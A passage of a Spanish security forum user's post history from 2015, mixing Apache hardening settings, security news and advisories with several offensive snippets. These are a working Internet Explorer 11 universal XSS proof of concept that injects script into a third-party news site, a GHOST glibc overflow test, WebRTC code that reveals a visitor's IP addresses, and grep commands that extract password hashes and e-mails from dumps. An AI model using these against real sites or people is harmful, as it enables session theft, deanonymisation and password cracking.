|
121
|
Programación / Desarrollo Web / Seguridad y Hardening en Apache
|
en: 11 Febrero 2015, 13:03 pm
|
Fortificando ApacheHTTP Request MethodsDefault apache configuration support OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, CONNECT method in HTTP 1.1 protocol. <LimitExcept GET POST HEAD> deny from all </LimitExcept>
Web Application Security Disable Trace HTTP RequestTraceEnable off
Set cookie with HttpOnly and Secure flagRequiere mod_headers Header edit Set-Cookie ^(.*)$ $1;HttpOnly;Secure
Clickjacking Attackhttps://developer.mozilla.org/en-US/docs/Web/HTTP/X-Frame-Options<iframe> <object> Opciones: X-Frame-Options DENY, SAMEORIGIN, ALLOW-URL url Header always append X-Frame-Options SAMEORIGIN
Cross Site Scripting (XSS)Header set X-XSS-Protection "1; mode=block"
HTTP Strict Transport Securityhttps://www.owasp.org/index.php/HTTP_Strict_Transport_SecurityHeader set Strict-Transport-Security "max-age=31536000; includeSubDomains"
Todo junto fichero confgiuración httpd.conf CoreDumpDirectory /tmp # bajar timeout, por defecto 300 Timeout 80 # Maximum size of the request body. #LimitRequestBody 10000 # Maximum number of request headers in a request. LimitRequestFields 40 # Maximum size of request header lines. LimitRequestFieldSize 4094 # Maximum size of the request line. #request failed: URI too long (longer than 500) #LimitRequestLine 500 #nuevo antidos #RLimitCPU 10 20 #RLimitCPU 100 100 #RLimitMEM 10000000 10000000 #RLimitNPROC 25 25 # esconder versión Apache, aka version banner ServerTokens Prod #seguridad # http://httpd.apache.org/docs/2.2/mod/core.html#traceenable TraceEnable off #seguridad <ifModule mod_headers.c> Header edit Set-Cookie ^(.*)$ $1;HttpOnly;Secure #https://developer.mozilla.org/en-US/docs/Web/HTTP/X-Frame-Options Header always append X-Frame-Options SAMEORIGIN Header set X-XSS-Protection "1; mode=block" Header set X-Content-Type-Options: "nosniff" </ifModule> # https ssl SSLRandomSeed startup file:/dev/urandom 1024 <IfDefine SSL> # enable SSLv3 and TLSv1, but not SSLv2 #SSLProtocol all -SSLv2 #SSLProtocol -ALL +SSLv3 +TLSv1 # https://community.qualys.com/blogs/securitylabs/2013/08/05/configuring-apache-nginx-and-openssl-for-forward-#secrecy # new 2014 # https://www.ssllabs.com/ssltest/analyze.html?d=foro.elhacker.net # Grade A, antes Grade F SSLProtocol all -SSLv2 -SSLv3 SSLHonorCipherOrder on SSLCipherSuite "EECDH+ECDSA+AESGCM EECDH+aRSA+AESGCM EECDH+ECDSA+SHA384 \ EECDH+ECDSA+SHA256 EECDH+aRSA+SHA384 EECDH+aRSA+SHA256 EECDH+aRSA+RC4 \ EECDH EDH+aRSA RC4 !aNULL !eNULL !LOW !3DES !MD5 !EXP !PSK !SRP !DSS" #SSLCipherSuite ALL:!ADH:!NULL:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv3:+TLSv1 SLv2:+EXP:+eNULL # mozilla # https://wiki.mozilla.org/Security/Server_Side_TLS # SSLCipherSuite AES256+EECDH:AES256+EDH:!aNULL:!eNULL # noviembre 2014 SSLProtocol All -SSLv2 -SSLv3 SSLHonorCipherOrder on SSLCipherSuite "EECDH+ECDSA+AESGCM EECDH+aRSA+AESGCM EECDH+ECDSA+SHA384 EECDH+ECDSA+SHA256 EECDH+aRSA+SHA384 EECDH+aRSA+SHA256 EECDH+AESGCM EECDH EDH+AESGCM EDH+aRSA HIGH !MEDIUM !LOW !aNULL !eNULL !LOW !RC4 !MD5 !EXP !PSK !SRP !DSS" </IfDefine>
|
|
|
123
|
Foros Generales / Noticias / España sufrió en el 2014 más de 70.000 ataques cibernéticos
|
en: 6 Febrero 2015, 18:59 pm
|
España sufrió en el 2014 más de 70.000 ataques cibernéticos, la cifra más alta tras EEUU y Reino UnidoEspaña sufrió en el 2014 más de 70.000 ataques cibernéticos, lo que le convierte en el tercer país del mundo que más agresiones de este tipo recibe, solo por detrás de EEUU y Reino Unido, ha revelado este jueves el ministro de Asuntos Exteriores y de Cooperación, José Manuel García-Margallo. Estos ataques se dirigieron contra diferentes órganos de la Administración pública, pero entre sus víctimas también figuran empresas y ciudadanos, ha precisado el jefe de la diplomacia española, que ha rehusado dar a la prensa más detalles sobre esta revelación al término de su intervención. El ministro del Interior, Jorge Fernández Díaz, presente en el acto, tampoco ha querido precisar de dónde venían estas agresiones o a quiénes ha afectado, más allá de señalar que "no pocos" de esos ataques se han dirigido contra la "Administración pública". Eso sí, ha querido mandar un mensaje de tranquilidad a la opinión pública, pues el Gobierno está "trabajando muy intensamente" para protegerse frente a esta amenaza. "Estamos haciendo los deberes", ha remachado. En su intervención en la conferencia, García-Margallo ha recordado que el Ejecutivo cuenta desde diciembre del 2013 con un Consejo Nacional de Ciberseguridad encargado de coordinar a los diferentes Ministerios que en la actualidad elaboran un Plan Nacional en la materia, que tendrá en cuenta las estrategias de la UE y la OTAN sobre ciberseguridad . La Estrategia de Seguridad Nacional española, ha añadido, ya identifica los actos hostiles que llegan a través del ciberespacio como "una de las 12 amenazas más serias" para el país. No obstante, García-Margallo ha subrayado que el ciberespacio "también es un espacio de libertad". Por eso ha advertido de que, aunque puede ser "comprensible" tener la "tentación de controlar y restringir" el uso de Internet con el "pretexto de garantizar la seguridad", actuar de esta manera podría tener "errores fatales para el progreso humano". Fuente: http://www.elperiodico.com/es/noticias/sociedad/espana-sufrio-2014-mas-70000-ataques-ciberneticos-cifra-mas-alta-tras-eeuu-reino-unido-3912391Más información: ¿Cómo detecta España los 70.000 ataques cibernéticos que cuenta el Ministro Margallo? http://www.elladodelmal.com/2015/02/como-detecta-espana-los-70000-ataques.html
|
|
|
124
|
Seguridad Informática / Bugs y Exploits / XSS en Internet Explorer 11
|
en: 4 Febrero 2015, 11:08 am
|
La última versión estable de Internet Explorer, la 11.0.15, puede permitir a un atacante inyectar código y robar los datos de otras páginas que el usuario tiene abiertas en otras pestañas o ventanas. Se trata de un Cross Site Scripting universal o UXSS que evade totalmente la Política del Mismo Origen o Same Origin Policy (SOP), es decir, da igual que una web tenga o no vulnerabilidades XSS, sólo por usar la última versión del navegador de Microsoft el usuario está expuesto a que le roben los datos de su sesión en cualquier otro dominio, incluso HTTP a HTTPS. Existe una PoC en la que se demuestra como es posible inyectar código en el Daily Mail a través de otro dominio distinto: http://www.deusen.co.uk/items/insider3show.3362009741042107/<iframe style="display:none;" width=300 height=300 id=i name=i src="1.php"></iframe><br> <iframe width=300 height=100 frameBorder=0 src="http://www.dailymail.co.uk/robots.txt"></iframe><br> <script> function go() { w=window.frames[0]; w.setTimeout("alert(eval('x=top.frames[1];r=confirm(\\'Close this window after 3 seconds...\\');x.location=\\'javascript:%22%3Cscript%3Efunction%20a()%7Bw.document.body.innerHTML%3D%27%3Ca%20style%3Dfont-size%3A50px%3EHacked%20by%20Deusen%3C%2Fa%3E%27%3B%7D%20function%20o()%7Bw%3Dwindow.open(%27http%3A%2F%2Fwww.dailymail.co.uk%27%2C%27_blank%27%2C%27top%3D0%2C%20left%3D0%2C%20width%3D800%2C%20height%3D600%2C%20location%3Dyes%2C%20scrollbars%3Dyes%27)%3BsetTimeout(%27a()%27%2C7000)%3B%7D%3C%2Fscript%3E%3Ca%20href%3D%27javascript%3Ao()%3Bvoid(0)%3B%27%3EGo%3C%2Fa%3E%22\\';'))",1); } setTimeout("go()",1000); </script> Por el momento Microsoft no ha publicado un parche para solucionar esta vulnerabilidad. Estamos probando distintas mitigaciones y analizando el bug (en versiones anteriores la PoC no funciona) pero por el momento aconsejamos usar otros navegadores. Fuente: http://www.hackplayers.com/2015/02/xss-universal-en-ie11.html
|
|
|
125
|
Programación / Bases de Datos / MySQL Replication: What’s New in MySQL 5.7 and Beyond
|
en: 28 Enero 2015, 11:37 am
|
Continuing in the footsteps of its predecessor, MySQL 5.7 is set to be a groundbreaking release. In this webinar, the engineers behind the product provide insights into what’s new for MySQL replication in the latest 5.7 Development Milestone Release and review the early access features available via labs.mysql.com. The next generation of replication features cover several technical areas such as better semi-synchronous replication, an enhanced multithreaded slave (per-transaction parallelism), improved monitoring with performance schema tables, online configuration changes, options for fine-tuning replication performance, support for more-advanced topologies with multisource replication, and much more. This is also a great chance to learn about MySQL Group Replication – the next generation of active-active, update-anywhere replication for MySQL. http://www.slideshare.net/andrewjamesmorgan/mysql-replication-whats-new-in-mysql-57-and-beyond
|
|
|
126
|
Sistemas Operativos / GNU/Linux / GHOST: PoC
|
en: 27 Enero 2015, 18:26 pm
|
GHOST: glibc: buffer overflow en gethostbyname CVE-2015-0235http://blog.elhacker.net/2015/01/ghost-glibc-buffer-overflow-en-gethostbyname-cve-2015-0235.html#include <netdb.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #define CANARY "in_the_coal_mine" struct { char buffer[1024]; char canary[sizeof(CANARY)]; } temp = { "buffer", CANARY }; int main(void) { struct hostent resbuf; struct hostent *result; int herrno; int retval; /*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/ size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1; char name[sizeof(temp.buffer)]; name[len] = '\0'; retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno); if (strcmp(temp. canary, CANARY ) != 0) { } if (retval == ERANGE) { } puts("should not happen"); }
|
|
|
127
|
Programación / Desarrollo Web / Obtener la ip local y remota usando javascript
|
en: 27 Enero 2015, 17:31 pm
|
Get local and public IP addresses in javascript (github.com)https://github.com/diafygi/webrtc-ipsUsando WebRTC //get the IP addresses associated with an account function getIPs(callback){ var ip_dups = {}; //compatibility for firefox and chrome var RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection; var mediaConstraints = { optional: [{RtpDataChannels: true}] }; //firefox already has a default stun server in about:config // media.peerconnection.default_iceservers = // [{"url": "stun:stun.services.mozilla.com"}] var servers = undefined; //add same stun server for chrome if(window.webkitRTCPeerConnection) servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]}; //construct a new RTCPeerConnection var pc = new RTCPeerConnection(servers, mediaConstraints); //listen for candidate events pc.onicecandidate = function(ice){ //skip non-candidate events if(ice.candidate){ //match just the IP address var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3})/ var ip_addr = ip_regex.exec(ice.candidate.candidate)[1]; //remove duplicates if(ip_dups[ip_addr] === undefined) callback(ip_addr); ip_dups[ip_addr] = true; } }; //create a bogus data channel pc.createDataChannel(""); //create an offer sdp pc.createOffer(function(result){ //trigger the stun server request pc.setLocalDescription(result, function(){}); }, function(){}); } //Test: Print the IP addresses into the console getIPs(function(ip){console.log(ip);});
|
|
|
128
|
Programación / PHP / Actualizaciones de PHP 5.6.5, 5.5.21 y 5.4.37
|
en: 23 Enero 2015, 19:25 pm
|
Fecha de publicación: 23/01/2015 Recursos afectados Versiones de la rama 5.6 de PHP anteriores a la 5.6.5. Versiones de la rama 5.5 de PHP anteriores a la 5.5.21. Versiones de la rama 5.4 de PHP anteriores a la 5.4.37. Descripción PHP ha publicado las versiones 5.6.5, 5.5.21 y 5.4.37, que corrigen múltiples fallos en distintos componentes del software, incluido el core. Solución Aplicar las actualizaciones 5.6.5, 5.5.21 y 5.4.37 segun la rama correspondiente. Detalle Las actualizaciones solucionan múltiples fallos en las versiones afectadas, incluyendo la corrección de las siguientes vulnerabilidades: Uso después de liberación de memoria en la función unserialize(). Esta vulnerabilidad tiene asociado el identificador CVE-2015-0231. Caída de php-cgi por acceso de lectura fuera de límites. Esta vulnerabilidad tiene asociado el identificador CVE-2014-9427. Llamada de liberación de memoria sobre puntero sin inicializar. Esta vulnerabilidad tiene asociado el identificador CVE-2015-0232. Referencias PHP Changelog http://php.net/ChangeLog-5.phpFuente: https://www.incibe.es/securityAdvice/CERT/Alerta_Temprana/Avisos_seguridad_tecnicos/actualizaciones_php_565_5521_5437_20150123
|
|
|
130
|
Seguridad Informática / Hacking / Cheat-sheet para password crackers
|
en: 22 Enero 2015, 17:40 pm
|
Extract md5 hashes # egrep -oE '(^|[^a-fA-F0-9])[a-fA-F0-9]{32}([^a-fA-F0-9]|$)' *.txt | egrep -o '[a-fA-F0-9]{32}' > md5-hashes.txt An alternative could be with sed # sed -rn 's/.*[^a-fA-F0-9]([a-fA-F0-9]{32})[^a-fA-F0-9].*/\1/p' *.txt > md5-hashes Extract valid MySQL-Old hashes # grep -e "[0-7][0-9a-f]\{7\}[0-7][0-9a-f]\{7\}" *.txt > mysql-old-hashes.txt
Extract blowfish hashes # grep -e "\$2a\\$\08\\$\(.\)\{75\}" *.txt > blowfish-hashes.txt
Extract Joomla hashes # egrep -o "([0-9a-zA-Z]{32}):(\w{16,32})" *.txt > joomla.txt
Extract VBulletin hashes # egrep -o "([0-9a-zA-Z]{32}):(\S{3,32})" *.txt > vbulletin.txt Extraxt phpBB3-MD5 # egrep -o '\$H\$\S{31}' *.txt > phpBB3-md5.txt Extract Wordpress-MD5 # egrep -o '\$P\$\S{31}' *.txt > wordpress-md5.txt Extract Drupal 7 # egrep -o '\$S\$\S{52}' *.txt > drupal-7.txt Extract old Unix-md5 # egrep -o '\$1\$\w{8}\S{22}' *.txt > md5-unix-old.txt
Extract md5-apr1 # egrep -o '\$apr1\$\w{8}\S{22}' *.txt > md5-apr1.txt
Extract sha512crypt, SHA512(Unix) # egrep -o '\$6\$\w{8}\S{86}' *.txt > sha512crypt.txt Extract e-mails from text files # grep -E -o "\b[a-zA-Z0-9.#?$*_-]+@[a-zA-Z0-9.#?$*_-]+\.[a-zA-Z0-9.-]+\b" *.txt > e-mails.txt
Extract HTTP URLs from text files # grep http | grep -shoP 'http.*?[" >]' *.txt > http-urls.txt Fuente: http://www.unix-ninja.com/p/A_cheat-sheet_for_password_crackers/
|
|
|
|
|
|
|